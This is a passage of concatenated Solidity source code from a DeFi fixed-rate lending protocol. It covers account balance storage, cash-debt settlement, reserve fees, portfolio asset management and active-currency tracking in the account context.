assetTransferAmountInternal = assetToken.convertToInternal(assetTransferAmountExternal);
} else {
// NOTE: in the case of aTokens assetTransferAmountExternal is the scaledBalanceOf in external precision, it
// will be converted to balanceOf denomination inside transfer
actualTransferAmountExternal = assetToken.transfer(account, balanceState.currencyId, assetTransferAmountExternal);
// Convert the actual transferred amount
assetTransferAmountInternal = assetToken.convertToInternal(actualTransferAmountExternal);
}
}
/// @notice Special method for settling negative current cash debts. This occurs when an account
/// has a negative fCash balance settle to cash. A settler may come and force the account to borrow
/// at the prevailing 3 month rate
/// @dev Use this method to avoid any nToken and transfer logic in finalize which is unnecessary.
function setBalanceStorageForSettleCashDebt(
address account,
CashGroupParameters memory cashGroup,
int256 amountToSettleAsset,
AccountContext memory accountContext
) internal returns (int256) {
require(amountToSettleAsset >= 0); // dev: amount to settle negative
(int256 cashBalance, int256 nTokenBalance, uint256 lastClaimTime, uint256 accountIncentiveDebt) =
getBalanceStorage(account, cashGroup.currencyId);
// Prevents settlement of positive balances
require(cashBalance < 0, "Invalid settle balance");
if (amountToSettleAsset == 0) {
// Symbolizes that the entire debt should be settled
amountToSettleAsset = cashBalance.neg();
cashBalance = 0;
} else {
// A partial settlement of the debt
require(amountToSettleAsset <= cashBalance.neg(), "Invalid amount to settle");
cashBalance = cashBalance.add(amountToSettleAsset);
}
// NOTE: we do not update HAS_CASH_DEBT here because it is possible that the other balances
// also have cash debts
if (cashBalance == 0 && nTokenBalance == 0) {
accountContext.setActiveCurrency(
cashGroup.currencyId,
false,
Constants.ACTIVE_IN_BALANCES
);
}
_setBalanceStorage(
account,
cashGroup.currencyId,
cashBalance,
nTokenBalance,
lastClaimTime,
accountIncentiveDebt
);
// Emit the event here, we do not call finalize
emit CashBalanceChange(account, cashGroup.currencyId, amountToSettleAsset);
return amountToSettleAsset;
}
/**
* @notice A special balance storage method for fCash liquidation to reduce the bytecode size.
*/
function setBalanceStorageForfCashLiquidation(
address account,
AccountContext memory accountContext,
uint16 currencyId,
int256 netCashChange
) internal {
(int256 cashBalance, int256 nTokenBalance, uint256 lastClaimTime, uint256 accountIncentiveDebt) =
getBalanceStorage(account, currencyId);
int256 newCashBalance = cashBalance.add(netCashChange);
// If a cash balance is negative already we cannot put an account further into debt. In this case
// the netCashChange must be positive so that it is coming out of debt.
if (newCashBalance < 0) {
require(netCashChange > 0, "Neg Cash");
// NOTE: HAS_CASH_DEBT cannot be extinguished except by a free collateral check
// where all balances are examined. In this case the has cash debt flag should
// already be set (cash balances cannot get more negative) but we do it again
// here just to be safe.
accountContext.hasDebt = accountContext.hasDebt | Constants.HAS_CASH_DEBT;
}
bool isActive = newCashBalance != 0 || nTokenBalance != 0;
accountContext.setActiveCurrency(currencyId, isActive, Constants.ACTIVE_IN_BALANCES);
// Emit the event here, we do not call finalize
emit CashBalanceChange(account, currencyId, netCashChange);
_setBalanceStorage(
account,
currencyId,
newCashBalance,
nTokenBalance,
lastClaimTime,
accountIncentiveDebt
);
}
/// @notice Helper method for settling the output of the SettleAssets method
function finalizeSettleAmounts(
address account,
AccountContext memory accountContext,
SettleAmount[] memory settleAmounts
) internal {
for (uint256 i = 0; i < settleAmounts.length; i++) {
SettleAmount memory amt = settleAmounts[i];
if (amt.netCashChange == 0) continue;
(
int256 cashBalance,
int256 nTokenBalance,
uint256 lastClaimTime,
uint256 accountIncentiveDebt
) = getBalanceStorage(account, amt.currencyId);
cashBalance = cashBalance.add(amt.netCashChange);
accountContext.setActiveCurrency(
amt.currencyId,
cashBalance != 0 || nTokenBalance != 0,
Constants.ACTIVE_IN_BALANCES
);
if (cashBalance < 0) {
accountContext.hasDebt = accountContext.hasDebt | Constants.HAS_CASH_DEBT;
}
emit CashBalanceChange(
account,
uint16(amt.currencyId),
amt.netCashChange
);
_setBalanceStorage(
account,
amt.currencyId,
cashBalance,
nTokenBalance,
lastClaimTime,
accountIncentiveDebt
);
}
}
/// @notice Special method for setting balance storage for nToken
function setBalanceStorageForNToken(
address nTokenAddress,
uint256 currencyId,
int256 cashBalance
) internal {
require(cashBalance >= 0); // dev: invalid nToken cash balance
_setBalanceStorage(nTokenAddress, currencyId, cashBalance, 0, 0, 0);
}
/// @notice increments fees to the reserve
function incrementFeeToReserve(uint256 currencyId, int256 fee) internal {
require(fee >= 0); // dev: invalid fee
// prettier-ignore
(int256 totalReserve, /* */, /* */, /* */) = getBalanceStorage(Constants.RESERVE, currencyId);
totalReserve = totalReserve.add(fee);
_setBalanceStorage(Constants.RESERVE, currencyId, totalReserve, 0, 0, 0);
emit ReserveFeeAccrued(uint16(currencyId), fee);
}
/// @notice harvests excess reserve balance
function harvestExcessReserveBalance(uint16 currencyId, int256 reserve, int256 assetInternalRedeemAmount) internal {
// parameters are validated by the caller
reserve = reserve.subNoNeg(assetInternalRedeemAmount);
_setBalanceStorage(Constants.RESERVE, currencyId, reserve, 0, 0, 0);
emit ExcessReserveBalanceHarvested(currencyId, assetInternalRedeemAmount);
}
/// @notice sets the reserve balance, see TreasuryAction.setReserveCashBalance
function setReserveCashBalance(uint16 currencyId, int256 newBalance) internal {
require(newBalance >= 0); // dev: invalid balance
_setBalanceStorage(Constants.RESERVE, currencyId, newBalance, 0, 0, 0);
emit ReserveBalanceUpdated(currencyId, newBalance);
}
/// @notice Sets internal balance storage.
function _setBalanceStorage(
address account,
uint256 currencyId,
int256 cashBalance,
int256 nTokenBalance,
uint256 lastClaimTime,
uint256 accountIncentiveDebt
) private {
mapping(address => mapping(uint256 => BalanceStorage)) storage store = LibStorage.getBalanceStorage();
BalanceStorage storage balanceStorage = store[account][currencyId];
require(cashBalance >= type(int88).min && cashBalance <= type(int88).max); // dev: stored cash balance overflow
// Allows for 12 quadrillion nToken balance in 1e8 decimals before overflow
require(nTokenBalance >= 0 && nTokenBalance <= type(uint80).max); // dev: stored nToken balance overflow
if (lastClaimTime == 0) {
// In this case the account has migrated and we set the accountIncentiveDebt
// The maximum NOTE supply is 100_000_000e8 (1e16) which is less than 2^56 (7.2e16) so we should never
// encounter an overflow for accountIncentiveDebt
require(accountIncentiveDebt <= type(uint56).max); // dev: account incentive debt overflow
balanceStorage.accountIncentiveDebt = uint56(accountIncentiveDebt);
} else {
// In this case the last claim time has not changed and we do not update the last integral supply
// (stored in the accountIncentiveDebt position)
require(lastClaimTime == balanceStorage.lastClaimTime);
}
balanceStorage.lastClaimTime = uint32(lastClaimTime);
balanceStorage.nTokenBalance = uint80(nTokenBalance);
balanceStorage.cashBalance = int88(cashBalance);
}
/// @notice Gets internal balance storage, nTokens are stored alongside cash balances
function getBalanceStorage(address account, uint256 currencyId)
internal
view
returns (
int256 cashBalance,
int256 nTokenBalance,
uint256 lastClaimTime,
uint256 accountIncentiveDebt
)
{
mapping(address => mapping(uint256 => BalanceStorage)) storage store = LibStorage.getBalanceStorage();
BalanceStorage storage balanceStorage = store[account][currencyId];
nTokenBalance = balanceStorage.nTokenBalance;
lastClaimTime = balanceStorage.lastClaimTime;
if (lastClaimTime > 0) {
// NOTE: this is only necessary to support the deprecated integral supply values, which are stored
// in the accountIncentiveDebt slot
accountIncentiveDebt = FloatingPoint56.unpackFrom56Bits(balanceStorage.accountIncentiveDebt);
} else {
accountIncentiveDebt = balanceStorage.accountIncentiveDebt;
}
cashBalance = balanceStorage.cashBalance;
}
/// @notice Loads a balance state memory object
/// @dev Balance state objects occupy a lot of memory slots, so this method allows
/// us to reuse them if possible
function loadBalanceState(
BalanceState memory balanceState,
address account,
uint16 currencyId,
AccountContext memory accountContext
) internal view {
require(0 < currencyId && currencyId <= Constants.MAX_CURRENCIES); // dev: invalid currency id
balanceState.currencyId = currencyId;
if (accountContext.isActiveInBalances(currencyId)) {
(
balanceState.storedCashBalance,
balanceState.storedNTokenBalance,
balanceState.lastClaimTime,
balanceState.accountIncentiveDebt
) = getBalanceStorage(account, currencyId);
} else {
balanceState.storedCashBalance = 0;
balanceState.storedNTokenBalance = 0;
balanceState.lastClaimTime = 0;
balanceState.accountIncentiveDebt = 0;
}
balanceState.netCashChange = 0;
balanceState.netAssetTransferInternalPrecision = 0;
balanceState.netNTokenTransfer = 0;
balanceState.netNTokenSupplyChange = 0;
}
/// @notice Used when manually claiming incentives in nTokenAction. Also sets the balance state
/// to storage to update the accountIncentiveDebt. lastClaimTime will be set to zero as accounts
/// are migrated to the new incentive calculation
function claimIncentivesManual(BalanceState memory balanceState, address account)
internal
returns (uint256 incentivesClaimed)
{
incentivesClaimed = Incentives.claimIncentives(
balanceState,
account,
balanceState.storedNTokenBalance.toUint()
);
_setBalanceStorage(
account,
balanceState.currencyId,
balanceState.storedCashBalance,
balanceState.storedNTokenBalance,
balanceState.lastClaimTime,
balanceState.accountIncentiveDebt
);
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "./TransferAssets.sol";
import "../valuation/AssetHandler.sol";
import "../../math/SafeInt256.sol";
import "../../global/LibStorage.sol";
/// @notice Handles the management of an array of assets including reading from storage, inserting
/// updating, deleting and writing back to storage.
library PortfolioHandler {
using SafeInt256 for int256;
using AssetHandler for PortfolioAsset;
// Mirror of LibStorage.MAX_PORTFOLIO_ASSETS
uint256 private constant MAX_PORTFOLIO_ASSETS = 16;
/// @notice Primarily used by the TransferAssets library
function addMultipleAssets(PortfolioState memory portfolioState, PortfolioAsset[] memory assets)
internal
pure
{
for (uint256 i = 0; i < assets.length; i++) {
PortfolioAsset memory asset = assets[i];
if (asset.notional == 0) continue;
addAsset(
portfolioState,
asset.currencyId,
asset.maturity,
asset.assetType,
asset.notional
);
}
}
function _mergeAssetIntoArray(
PortfolioAsset[] memory assetArray,
uint256 currencyId,
uint256 maturity,
uint256 assetType,
int256 notional
) private pure returns (bool) {
for (uint256 i = 0; i < assetArray.length; i++) {
PortfolioAsset memory asset = assetArray[i];
if (
asset.assetType != assetType ||
asset.currencyId != currencyId ||
asset.maturity != maturity
) continue;
// Either of these storage states mean that some error in logic has occurred, we cannot
// store this portfolio
require(
asset.storageState != AssetStorageState.Delete &&
asset.storageState != AssetStorageState.RevertIfStored
); // dev: portfolio handler deleted storage
int256 newNotional = asset.notional.add(notional);
// Liquidity tokens cannot be reduced below zero.
if (AssetHandler.isLiquidityToken(assetType)) {
require(newNotional >= 0); // dev: portfolio handler negative liquidity token balance
}
require(newNotional >= type(int88).min && newNotional <= type(int88).max); // dev: portfolio handler notional overflow
asset.notional = newNotional;
asset.storageState = AssetStorageState.Update;
return true;
}
return false;
}
/// @notice Adds an asset to a portfolio state in memory (does not write to storage)
/// @dev Ensures that only one version of an asset exists in a portfolio (i.e. does not allow two fCash assets of the same maturity
/// to exist in a single portfolio). Also ensures that liquidity tokens do not have a negative notional.
function addAsset(
PortfolioState memory portfolioState,
uint256 currencyId,
uint256 maturity,
uint256 assetType,
int256 notional
) internal pure {
if (
// Will return true if merged
_mergeAssetIntoArray(
portfolioState.storedAssets,
currencyId,
maturity,
assetType,
notional
)
) return;
if (portfolioState.lastNewAssetIndex > 0) {
bool merged = _mergeAssetIntoArray(
portfolioState.newAssets,
currencyId,
maturity,
assetType,
notional
);
if (merged) return;
}
// At this point if we have not merged the asset then append to the array
// Cannot remove liquidity that the portfolio does not have
if (AssetHandler.isLiquidityToken(assetType)) {
require(notional >= 0); // dev: portfolio handler negative liquidity token balance
}
require(notional >= type(int88).min && notional <= type(int88).max); // dev: portfolio handler notional overflow
// Need to provision a new array at this point
if (portfolioState.lastNewAssetIndex == portfolioState.newAssets.length) {
portfolioState.newAssets = _extendNewAssetArray(portfolioState.newAssets);
}
// Otherwise add to the new assets array. It should not be possible to add matching assets in a single transaction, we will
// check this again when we write to storage. Assigning to memory directly here, do not allocate new memory via struct.
PortfolioAsset memory newAsset = portfolioState.newAssets[portfolioState.lastNewAssetIndex];
newAsset.currencyId = currencyId;
newAsset.maturity = maturity;
newAsset.assetType = assetType;
newAsset.notional = notional;
newAsset.storageState = AssetStorageState.NoChange;
portfolioState.lastNewAssetIndex += 1;
}
/// @dev Extends the new asset array if it is not large enough, this is likely to get a bit expensive if we do
/// it too much
function _extendNewAssetArray(PortfolioAsset[] memory newAssets)
private
pure
returns (PortfolioAsset[] memory)
{
// Double the size of the new asset array every time we have to extend to reduce the number of times
// that we have to extend it. This will go: 0, 1, 2, 4, 8 (probably stops there).
uint256 newLength = newAssets.length == 0 ? 1 : newAssets.length * 2;
PortfolioAsset[] memory extendedArray = new PortfolioAsset[](newLength);
for (uint256 i = 0; i < newAssets.length; i++) {
extendedArray[i] = newAssets[i];
}
return extendedArray;
}
/// @notice Takes a portfolio state and writes it to storage.
/// @dev This method should only be called directly by the nToken. Account updates to portfolios should happen via
/// the storeAssetsAndUpdateContext call in the AccountContextHandler.sol library.
/// @return updated variables to update the account context with
/// hasDebt: whether or not the portfolio has negative fCash assets
/// portfolioActiveCurrencies: a byte32 word with all the currencies in the portfolio
/// uint8: the length of the storage array
/// uint40: the new nextSettleTime for the portfolio
function storeAssets(PortfolioState memory portfolioState, address account)
internal
returns (
bool,
bytes32,
uint8,
uint40
)
{
bool hasDebt;
// NOTE: cannot have more than 16 assets or this byte object will overflow. Max assets is
// set to 7 and the worst case during liquidation would be 7 liquidity tokens that generate
// 7 additional fCash assets for a total of 14 assets. Although even in this case all assets
// would be of the same currency so it would not change the end result of the active currency
// calculation.
bytes32 portfolioActiveCurrencies;
uint256 nextSettleTime;
for (uint256 i = 0; i < portfolioState.storedAssets.length; i++) {
PortfolioAsset memory asset = portfolioState.storedAssets[i];
// NOTE: this is to prevent the storage of assets that have been modified in the AssetHandler
// during valuation.
require(asset.storageState != AssetStorageState.RevertIfStored);
// Mark any zero notional assets as deleted
if (asset.storageState != AssetStorageState.Delete && asset.notional == 0) {
deleteAsset(portfolioState, i);
}
}
// First delete assets from asset storage to maintain asset storage indexes
for (uint256 i = 0; i < portfolioState.storedAssets.length; i++) {
PortfolioAsset memory asset = portfolioState.storedAssets[i];
if (asset.storageState == AssetStorageState.Delete) {
// Delete asset from storage
uint256 currentSlot = asset.storageSlot;
assembly {
sstore(currentSlot, 0x00)
}
} else {
if (asset.storageState == AssetStorageState.Update) {
PortfolioAssetStorage storage assetStorage;
uint256 currentSlot = asset.storageSlot;
assembly {
assetStorage.slot := currentSlot
}
_storeAsset(asset, assetStorage);
}
// Update portfolio context for every asset that is in storage, whether it is
// updated in storage or not.
(hasDebt, portfolioActiveCurrencies, nextSettleTime) = _updatePortfolioContext(
asset,
hasDebt,
portfolioActiveCurrencies,
nextSettleTime
);
}
}
// Add new assets
uint256 assetStorageLength = portfolioState.storedAssetLength;
mapping(address =>
PortfolioAssetStorage[MAX_PORTFOLIO_ASSETS]) storage store = LibStorage.getPortfolioArrayStorage();
PortfolioAssetStorage[MAX_PORTFOLIO_ASSETS] storage storageArray = store[account];
for (uint256 i = 0; i < portfolioState.newAssets.length; i++) {
PortfolioAsset memory asset = portfolioState.newAssets[i];
if (asset.notional == 0) continue;
require(
asset.storageState != AssetStorageState.Delete &&
asset.storageState != AssetStorageState.RevertIfStored
); // dev: store assets deleted storage
(hasDebt, portfolioActiveCurrencies, nextSettleTime) = _updatePortfolioContext(
asset,
hasDebt,
portfolioActiveCurrencies,
nextSettleTime
);
_storeAsset(asset, storageArray[assetStorageLength]);
assetStorageLength += 1;
}
// 16 is the maximum number of assets or portfolio active currencies will overflow at 32 bytes with
// 2 bytes per currency
require(assetStorageLength <= 16 && nextSettleTime <= type(uint40).max); // dev: portfolio return value overflow
return (
hasDebt,
portfolioActiveCurrencies,
uint8(assetStorageLength),
uint40(nextSettleTime)
);
}
/// @notice Updates context information during the store assets method
function _updatePortfolioContext(
PortfolioAsset memory asset,
bool hasDebt,
bytes32 portfolioActiveCurrencies,
uint256 nextSettleTime
)
private
pure
returns (
bool,
bytes32,
uint256
)
{
uint256 settlementDate = asset.getSettlementDate();
// Tis will set it to the minimum settlement date
if (nextSettleTime == 0 || nextSettleTime > settlementDate) {
nextSettleTime = settlementDate;
}
hasDebt = hasDebt || asset.notional < 0;
require(uint16(uint256(portfolioActiveCurrencies)) == 0); // dev: portfolio active currencies overflow
portfolioActiveCurrencies = (portfolioActiveCurrencies >> 16) | (bytes32(asset.currencyId) << 240);
return (hasDebt, portfolioActiveCurrencies, nextSettleTime);
}
/// @dev Encodes assets for storage
function _storeAsset(
PortfolioAsset memory asset,
PortfolioAssetStorage storage assetStorage
) internal {
require(0 < asset.currencyId && asset.currencyId <= Constants.MAX_CURRENCIES); // dev: encode asset currency id overflow
require(0 < asset.maturity && asset.maturity <= type(uint40).max); // dev: encode asset maturity overflow
require(0 < asset.assetType && asset.assetType <= Constants.MAX_LIQUIDITY_TOKEN_INDEX); // dev: encode asset type invalid
require(type(int88).min <= asset.notional && asset.notional <= type(int88).max); // dev: encode asset notional overflow
assetStorage.currencyId = uint16(asset.currencyId);
assetStorage.maturity = uint40(asset.maturity);
assetStorage.assetType = uint8(asset.assetType);
assetStorage.notional = int88(asset.notional);
}
/// @notice Deletes an asset from a portfolio
/// @dev This method should only be called during settlement, assets can only be removed from a portfolio before settlement
/// by adding the offsetting negative position
function deleteAsset(PortfolioState memory portfolioState, uint256 index) internal pure {
require(index < portfolioState.storedAssets.length); // dev: stored assets bounds
require(portfolioState.storedAssetLength > 0); // dev: stored assets length is zero
PortfolioAsset memory assetToDelete = portfolioState.storedAssets[index];
require(
assetToDelete.storageState != AssetStorageState.Delete &&
assetToDelete.storageState != AssetStorageState.RevertIfStored
); // dev: cannot delete asset
portfolioState.storedAssetLength -= 1;
uint256 maxActiveSlotIndex;
uint256 maxActiveSlot;
// The max active slot is the last storage slot where an asset exists, it's not clear where this will be in the
// array so we search for it here.
for (uint256 i; i < portfolioState.storedAssets.length; i++) {
PortfolioAsset memory a = portfolioState.storedAssets[i];
if (a.storageSlot > maxActiveSlot && a.storageState != AssetStorageState.Delete) {
maxActiveSlot = a.storageSlot;
maxActiveSlotIndex = i;
}
}
if (index == maxActiveSlotIndex) {
// In this case we are deleting the asset with the max storage slot so no swap is necessary.
assetToDelete.storageState = AssetStorageState.Delete;
return;
}
// Swap the storage slots of the deleted asset with the last non-deleted asset in the array. Mark them accordingly
// so that when we call store assets they will be updated appropriately
PortfolioAsset memory assetToSwap = portfolioState.storedAssets[maxActiveSlotIndex];
(
assetToSwap.storageSlot,
assetToDelete.storageSlot
) = (
assetToDelete.storageSlot,
assetToSwap.storageSlot
);
assetToSwap.storageState = AssetStorageState.Update;
assetToDelete.storageState = AssetStorageState.Delete;
}
/// @notice Returns a portfolio array, will be sorted
function getSortedPortfolio(address account, uint8 assetArrayLength)
internal
view
returns (PortfolioAsset[] memory)
{
PortfolioAsset[] memory assets = _loadAssetArray(account, assetArrayLength);
// No sorting required for length of 1
if (assets.length <= 1) return assets;
_sortInPlace(assets);
return assets;
}
/// @notice Builds a portfolio array from storage. The new assets hint parameter will
/// be used to provision a new array for the new assets. This will increase gas efficiency
/// so that we don't have to make copies when we extend the array.
function buildPortfolioState(
address account,
uint8 assetArrayLength,
uint256 newAssetsHint
) internal view returns (PortfolioState memory) {
PortfolioState memory state;
if (assetArrayLength == 0) return state;
state.storedAssets = getSortedPortfolio(account, assetArrayLength);
state.storedAssetLength = assetArrayLength;
state.newAssets = new PortfolioAsset[](newAssetsHint);
return state;
}
function _sortInPlace(PortfolioAsset[] memory assets) private pure {
uint256 length = assets.length;
uint256[] memory ids = new uint256[](length);
for (uint256 k; k < length; k++) {
PortfolioAsset memory asset = assets[k];
// Prepopulate the ids to calculate just once
ids[k] = TransferAssets.encodeAssetId(asset.currencyId, asset.maturity, asset.assetType);
}
// Uses insertion sort
uint256 i = 1;
while (i < length) {
uint256 j = i;
while (j > 0 && ids[j - 1] > ids[j]) {
// Swap j - 1 and j
(ids[j - 1], ids[j]) = (ids[j], ids[j - 1]);
(assets[j - 1], assets[j]) = (assets[j], assets[j - 1]);
j--;
}
i++;
}
}
function _loadAssetArray(address account, uint8 length)
private
view
returns (PortfolioAsset[] memory)
{
// This will overflow the storage pointer
require(length <= MAX_PORTFOLIO_ASSETS);
mapping(address =>
PortfolioAssetStorage[MAX_PORTFOLIO_ASSETS]) storage store = LibStorage.getPortfolioArrayStorage();
PortfolioAssetStorage[MAX_PORTFOLIO_ASSETS] storage storageArray = store[account];
PortfolioAsset[] memory assets = new PortfolioAsset[](length);
for (uint256 i = 0; i < length; i++) {
PortfolioAssetStorage storage assetStorage = storageArray[i];
PortfolioAsset memory asset = assets[i];
uint256 slot;
assembly {
slot := assetStorage.slot
}
asset.currencyId = assetStorage.currencyId;
asset.maturity = assetStorage.maturity;
asset.assetType = assetStorage.assetType;
asset.notional = assetStorage.notional;
asset.storageSlot = slot;
}
return assets;
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "../global/LibStorage.sol";
import "./balances/BalanceHandler.sol";
import "./portfolio/BitmapAssetsHandler.sol";
import "./portfolio/PortfolioHandler.sol";
library AccountContextHandler {
using PortfolioHandler for PortfolioState;
bytes18 private constant TURN_OFF_PORTFOLIO_FLAGS = 0x7FFF7FFF7FFF7FFF7FFF7FFF7FFF7FFF7FFF;
event AccountContextUpdate(address indexed account);
/// @notice Returns the account context of a given account
function getAccountContext(address account) internal view returns (AccountContext memory) {
mapping(address => AccountContext) storage store = LibStorage.getAccountStorage();
return store[account];
}
/// @notice Sets the account context of a given account
function setAccountContext(AccountContext memory accountContext, address account) internal {
mapping(address => AccountContext) storage store = LibStorage.getAccountStorage();
store[account] = accountContext;
emit AccountContextUpdate(account);
}
function isBitmapEnabled(AccountContext memory accountContext) internal pure returns (bool) {
return accountContext.bitmapCurrencyId != 0;
}
/// @notice Enables a bitmap type portfolio for an account. A bitmap type portfolio allows
/// an account to hold more fCash than a normal portfolio, except only in a single currency.
/// Once enabled, it cannot be disabled or changed. An account can only enable a bitmap if
/// it has no assets or debt so that we ensure no assets are left stranded.
/// @param accountContext refers to the account where the bitmap will be enabled
/// @param currencyId the id of the currency to enable
/// @param blockTime the current block time to set the next settle time
function enableBitmapForAccount(
AccountContext memory accountContext,
uint16 currencyId,
uint256 blockTime
) internal view {
require(!isBitmapEnabled(accountContext), "Cannot change bitmap");
require(0 < currencyId && currencyId <= Constants.MAX_CURRENCIES, "Invalid currency id");
// Account cannot have assets or debts
require(accountContext.assetArrayLength == 0, "Cannot have assets");
require(accountContext.hasDebt == 0x00, "Cannot have debt");
// Ensure that the active currency is set to false in the array so that there is no double
// counting during FreeCollateral
setActiveCurrency(accountContext, currencyId, false, Constants.ACTIVE_IN_BALANCES);
accountContext.bitmapCurrencyId = currencyId;
// Setting this is required to initialize the assets bitmap
uint256 nextSettleTime = DateTime.getTimeUTC0(blockTime);
require(nextSettleTime < type(uint40).max); // dev: blockTime overflow
accountContext.nextSettleTime = uint40(nextSettleTime);
}
/// @notice Returns true if the context needs to settle
function mustSettleAssets(AccountContext memory accountContext) internal view returns (bool) {
uint256 blockTime = block.timestamp;
if (isBitmapEnabled(accountContext)) {
// nextSettleTime will be set to utc0 after settlement so we
// settle if this is strictly less than utc0
return accountContext.nextSettleTime < DateTime.getTimeUTC0(blockTime);
} else {
// 0 value occurs on an uninitialized account
// Assets mature exactly on the blockTime (not one second past) so in this
// case we settle on the block timestamp
return 0 < accountContext.nextSettleTime && accountContext.nextSettleTime <= blockTime;
}
}
/// @notice Checks if a currency id (uint16 max) is in the 9 slots in the account
/// context active currencies list.
/// @dev NOTE: this may be more efficient as a binary search since we know that the array
/// is sorted
function isActiveInBalances(AccountContext memory accountContext, uint256 currencyId)
internal
pure
returns (bool)
{
require(currencyId != 0 && currencyId <= Constants.MAX_CURRENCIES); // dev: invalid currency id
bytes18 currencies = accountContext.activeCurrencies;
if (accountContext.bitmapCurrencyId == currencyId) return true;
while (currencies != 0x00) {
uint256 cid = uint16(bytes2(currencies) & Constants.UNMASK_FLAGS);
if (cid == currencyId) {
// Currency found, return if it is active in balances or not
return bytes2(currencies) & Constants.ACTIVE_IN_BALANCES == Constants.ACTIVE_IN_BALANCES;
}
currencies = currencies << 16;
}
return false;
}
/// @notice Iterates through the active currency list and removes, inserts or does nothing
/// to ensure that the active currency list is an ordered byte array of uint16 currency ids
/// that refer to the currencies that an account is active in.
///
/// This is called to ensure that currencies are active when the account has a non zero cash balance,
/// a non zero nToken balance or a portfolio asset.
function setActiveCurrency(
AccountContext memory accountContext,
uint256 currencyId,
bool isActive,
bytes2 flags
) internal pure {
require(0 < currencyId && currencyId <= Constants.MAX_CURRENCIES); // dev: invalid currency id
// If the bitmapped currency is already set then return here. Turning off the bitmap currency
// id requires other logical handling so we will do it elsewhere.
if (isActive && accountContext.bitmapCurrencyId == currencyId) return;
bytes18 prefix;
bytes18 suffix = accountContext.activeCurrencies;
uint256 shifts;
/// There are six possible outcomes from this search:
/// 1. The currency id is in the list
/// - it must be set to active, do nothing
/// - it must be set to inactive, shift suffix and concatenate
/// 2. The current id is greater than the one in the search:
/// - it must be set to active, append to prefix and then concatenate the suffix,
/// ensure that we do not lose the last 2 bytes if set.
/// - it must be set to inactive, it is not in the list, do nothing
/// 3. Reached the end of the list:
/// - it must be set to active, check that the last two bytes are not set and then
/// append to the prefix
/// - it must be set to inactive, do nothing
while (suffix != 0x00) {
uint256 cid = uint256(uint16(bytes2(suffix) & Constants.UNMASK_FLAGS));
// if matches and isActive then return, already in list
if (cid == currencyId && isActive) {
// set flag and return
accountContext.activeCurrencies =
accountContext.activeCurrencies |
(bytes18(flags) >> (shifts * 16));
return;
}
// if matches and not active then shift suffix to remove
if (cid == currencyId && !isActive) {
// turn off flag, if both flags are off then remove
suffix = suffix & ~bytes18(flags);
if (bytes2(suffix) & ~Constants.UNMASK_FLAGS == 0x0000) suffix = suffix << 16;
accountContext.activeCurrencies = prefix | (suffix >> (shifts * 16));
return;
}
// if greater than and isActive then insert into prefix
if (cid > currencyId && isActive) {
prefix = prefix | (bytes18(bytes2(uint16(currencyId)) | flags) >> (shifts * 16));
// check that the total length is not greater than 9, meaning that the last
// two bytes of the active currencies array should be zero
require((accountContext.activeCurrencies << 128) == 0x00); // dev: AC: too many currencies
// append the suffix
accountContext.activeCurrencies = prefix | (suffix >> ((shifts + 1) * 16));
return;
}
// if past the point of the currency id and not active, not in list
if (cid > currencyId && !isActive) return;
prefix = prefix | (bytes18(bytes2(suffix)) >> (shifts * 16));
suffix = suffix << 16;
shifts += 1;
}
// If reached this point and not active then return
if (!isActive) return;
// if end and isActive then insert into suffix, check max length
require(shifts < 9); // dev: AC: too many currencies
accountContext.activeCurrencies =
prefix |
(bytes18(bytes2(uint16(currencyId)) | flags) >> (shifts * 16));
}
function _clearPortfolioActiveFlags(bytes18 activeCurrencies) internal pure returns (bytes18) {
bytes18 result;
// This is required to clear the suffix as we append below
bytes18 suffix = activeCurrencies & TURN_OFF_PORTFOLIO_FLAGS;
uint256 shifts;
// This loop will append all currencies that are active in balances into the result.
while (suffix != 0x00) {
if (bytes2(suffix) & Constants.ACTIVE_IN_BALANCES == Constants.ACTIVE_IN_BALANCES) {
// If any flags are active, then append.
result = result | (bytes18(bytes2(suffix)) >> shifts);
shifts += 16;
}
suffix = suffix << 16;
}
return result;
}
/// @notice Stores a portfolio array and updates the account context information, this method should
/// be used whenever updating a portfolio array except in the case of nTokens
function storeAssetsAndUpdateContext(
AccountContext memory accountContext,
address account,
PortfolioState memory portfolioState,
bool isLiquidation
) internal {
// Each of these parameters is recalculated based on the entire array of assets in store assets,
// regardless of whether or not they have been updated.
(bool hasDebt, bytes32 portfolioCurrencies, uint8 assetArrayLength, uint40 nextSettleTime) =
portfolioState.storeAssets(account);
accountContext.nextSettleTime = nextSettleTime;
require(mustSettleAssets(accountContext) == false); // dev: cannot store matured assets
accountContext.assetArrayLength = assetArrayLength;
// During liquidation it is possible for an array to go over the max amount of assets allowed due to
// liquidity tokens being withdrawn into fCash.
if (!isLiquidation) {
require(assetArrayLength <= uint8(Constants.MAX_TRADED_MARKET_INDEX)); // dev: max assets allowed
}
// Sets the hasDebt flag properly based on whether or not portfolio has asset debt, meaning
// a negative fCash balance.
if (hasDebt) {
accountContext.hasDebt = accountContext.hasDebt | Constants.HAS_ASSET_DEBT;
} else {
// Turns off the ASSET_DEBT flag
accountContext.hasDebt = accountContext.hasDebt & ~Constants.HAS_ASSET_DEBT;
}
// Clear the active portfolio active flags and they will be recalculated in the next step
accountContext.activeCurrencies = _clearPortfolioActiveFlags(accountContext.activeCurrencies);
uint256 lastCurrency;
while (portfolioCurrencies != 0) {
// Portfolio currencies will not have flags, it is just an byte array of all the currencies found
// in a portfolio. They are appended in a sorted order so we can compare to the previous currency
// and only set it if they are different.
uint256 currencyId = uint16(bytes2(portfolioCurrencies));
if (currencyId != lastCurrency) {
setActiveCurrency(accountContext, currencyId, true, Constants.ACTIVE_IN_PORTFOLIO);
}
lastCurrency = currencyId;
portfolioCurrencies = portfolioCurrencies << 16;
}
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
interface NotionalCallback {
function notionalCallback(address sender, address account, bytes calldata callbackdata) external;
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "./AssetRate.sol";
import "./CashGroup.sol";
import "./DateTime.sol";
import "../balances/BalanceHandler.sol";
import "../../global/LibStorage.sol";
import "../../global/Types.sol";
import "../../global/Constants.sol";
import "../../math/SafeInt256.sol";
import "../../math/ABDKMath64x64.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
library Market {
using SafeMath for uint256;
using SafeInt256 for int256;
using CashGroup for CashGroupParameters;
using AssetRate for AssetRateParameters;
// Max positive value for a ABDK64x64 integer
